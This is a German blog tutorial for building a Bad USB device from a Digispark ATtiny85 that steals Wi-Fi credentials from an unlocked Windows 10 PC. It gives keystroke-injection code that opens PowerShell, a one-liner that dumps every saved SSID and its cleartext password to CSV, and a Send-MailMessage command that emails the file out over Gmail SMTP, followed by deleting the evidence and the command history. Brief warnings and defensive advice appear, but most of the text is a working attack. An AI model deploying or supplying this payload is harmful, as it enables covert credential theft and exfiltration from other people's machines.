Jeder hat diesen einen Kollegen, der bei der Arbeit nie seinen Bildschirm sperrt. Dabei ist den meisten nicht bewusst, welchen Gefahren sie sich und der Firma dabei aussetzen. Ein getarnter Angreifer könnte hier in Abwesenheit z.B. sensitive Dokumente kopieren, eine Backdoor installieren oder die Wifi Passwörter stehlen. Dafür kommt in der Praxis ein sogenannter Bad USB Stick zum Einsatz, um den Angriff möglichst schnell und unerkannt durchzuführen. In diesem Artikel wird der Digispark Attiny 85 verwendet für rund 1€.
Was ist ein Bad USB Stick?
Ein Bad USB Stick ist im Idealfall ein unscheinbar aussehender Datenträger, der sich sobald eingesteckt als Tastatur oder Maus ausgibt (Human Interface Device). Manche handelsüblichen USB Sticks haben einen Mikroprozessor verbaut, der durch Manipulation der Firmware als Bad USB Stick verwendet werden kann. Deshalb sollten auch niemals USB Sticks eingesteckt werden, die z.B. auf der Straße oder Bibliothek gefunden wurden.
Bei dem Digispark Attiny 85 handelt es sich um einen programmierbaren Mikrocontroller mit einem 16,5 MHz Prozessor. Dadurch können mit der mitgelieferten Bibliothek Tastaturanschläge und Tastenkombinationen an den Opfer-PC gesendet werden um z.B. die Kommandozeile zu öffnen und Befehle auszuführen.
Vor diesem Angriff kann man sich mit herkömmlichen Anti-Viren Systemen nicht schützen, da sie in der Regel nicht die Firmware des angeschlossenen Geräts überprüfen.
Setup
Für das Tutorial wird Folgendes benötigt:
- Digispark Attiny 85
- Arduino IDE
- Windows 10 Opfer-PC
Einrichten von Arduino
Um den Digispark zu installieren und die Bibliotheken zu nutzen, muss der Mikrocontroller im Boardmanager installiert werden. Dafür empfehle ich die folgende Anleitung vom Hersteller: http://digistump.com/wiki/digispark/tutorials/connecting
Der vollständige Code liegt auf dem Repository in Github, welches ihr mit folgendem Befehl herunterladen könnt:
git clone https://github.com/jreinhardt2/Digispark_WifiMailer.git
ACHTUNG! Die Verwendung des Skripts ohne Einwilligung des Opfers stellt eine Straftat dar!
Erklärung des Codes
Powershell auf dem Zielsystem öffnen
Mit dem folgenden Code Block wird die Powershell mit Benutzerberechtigungen geöffnet.
DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); //Windows + X
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A); // A
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);// Pfeiltaste nach Links
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);//Enter
DigiKeyboardDe.delay(1000);
Auslesen der Wifi Passwörter mit Powershell
Im nächsten Schritt werden die Wifi-Namen auch SSID genannt und deren Passwörter ausgelesen. Danach wird ein Objekt mit den ausgelesenen Daten erstellt und als csv Datei exportiert.
DigiKeyboardDe.print(F("netsh wlan show profiles | Select-String ':(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Schl"));
DigiKeyboard.sendKeyStroke(47); // ü
DigiKeyboardDe.print(F("sselinhalt.*:(.+)$'| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit"));
Zu Beginn werden alle Wifi Profile angezeigt mit netsh wlan show profiles. Dabei werden alle Wlan Punkte angezeigt mit dem der Windows PC je verbunden war. Mit Hilfe eines Regex werden nun alle Namen herausgefiltert und in der Variable $name gespeichert. Der Ausdruck ${ … } ist die Kurzschreibweise von For-Each, wobei es sich um eine spezielle Art der For-Schleife handelt.
Im nächsten Schritt wird für jeden herausgefilterten Wifi-Namen das Profil angezeigt mit dem Wifi-Passwort im Klartext, was mittels key=clear sichergestellt wird.
Anschließend wird das Wifi-Passwort für jede SSID durch ein Regex gefiltert und in der Variable $pass gespeichert. Das “ü” in Schlüsselinhalt muss separat geschickt werden mit sendKeystroke(47);,.
Abschließend wird ein Objekt erstellt mit allen Namen und deren zugehörigen Passwörter. Dieses Objekt wird im nächsten Schritt als csv exportiert und gespeichert.
Die erstellte csv Datei kann nun an eine beliebige E-Mail gesendet werden. Dafür wird das Send-MailMessage CMDlet von Powershell verwendet.
DigiKeyboardDe.print(F("$Username = '<EMAIL_BENUTZERNAME>';$Password = 'EMAIL_PASSWORT';$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$SecureString = $pass;$MySecureCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecureString; $From = '<ABSENDER_EMAILADRESSE>';$To = 'EMPFÄNGER_EMAILADRESSE';$Attachment = 'temp.csv';$Subject = 'Digispark Wlan';$Body = 'Wifi Passwörter im Anhang';$SMTPServer = 'smtp.gmail.com';$SMTPPort = '587';Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl -Credential $MySecureCreds -Attachments $Attachment;exit"));
In dem Code sind die SMTP Informationen von Gmail schon vorausgefüllt, jedoch kann jeder beliebige Mail-Provider bzw. SMTP Server verwendet werden. Achtung! Bei Gmail muss das Senden von nicht autorisierten Drittprogrammen wie Powershell manuell im Account aktiviert werden. Die Anleitung dazu ist hier verlinkt.
Am Ende des Codes wird die csv Datei wieder gelöscht, sowie die Powershell Befehlshistorie. Dadurch werden alle Spuren verwischt, die auf einen Angriff hinweisen.
Anpassung des Skripts
Bei langsameren Opfersystemen müssen die delay(Zeit in ms) im Code erhöht werden, sodass keine neuen Anweisungen geschickt werden, obwohl die Alten noch nicht ausgeführt wurden. Dieses Skript funktioniert nur auf einem Windows 10 System mit deutscher Spracheinstellung. Die englische Variante ist hier verfügbar.
Fazit
Bad USB Sticks stellen eine große Gefahr für Unternehmen, sowie für Privatanwender dar. Schutz bieten Endpoint Protection Lösungen oder das Zukleben der USB Ports. Aufgrund der ausgehenden Gefahr sollten niemals USB-Sticks eingesteckt werden, die nicht von vertrauenswürdigen Quellen kommen und vor allem der Computer beim Verlassen des Arbeitsplatz gesperrt werden.